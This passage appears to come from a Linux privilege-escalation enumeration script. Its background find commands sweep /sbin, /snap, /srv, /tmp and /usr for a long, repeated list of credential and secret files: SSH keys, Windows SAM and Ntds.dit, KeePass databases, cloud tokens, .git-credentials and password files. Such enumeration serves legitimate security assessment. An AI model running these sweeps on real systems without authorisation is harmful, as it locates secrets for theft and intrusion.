\"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"agent*\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_RUN=`eval_bckgrd "find /run -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SBIN=`eval_bckgrd "find /sbin -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SNAP=`eval_bckgrd "find /snap -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SRV=`eval_bckgrd "find /srv -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SYS=`eval_bckgrd "find /sys -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_TMP=`eval_bckgrd "find /tmp -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"sess_*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"agent*\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_USR=`eval_bckgrd "find /usr -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"ssh*config\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
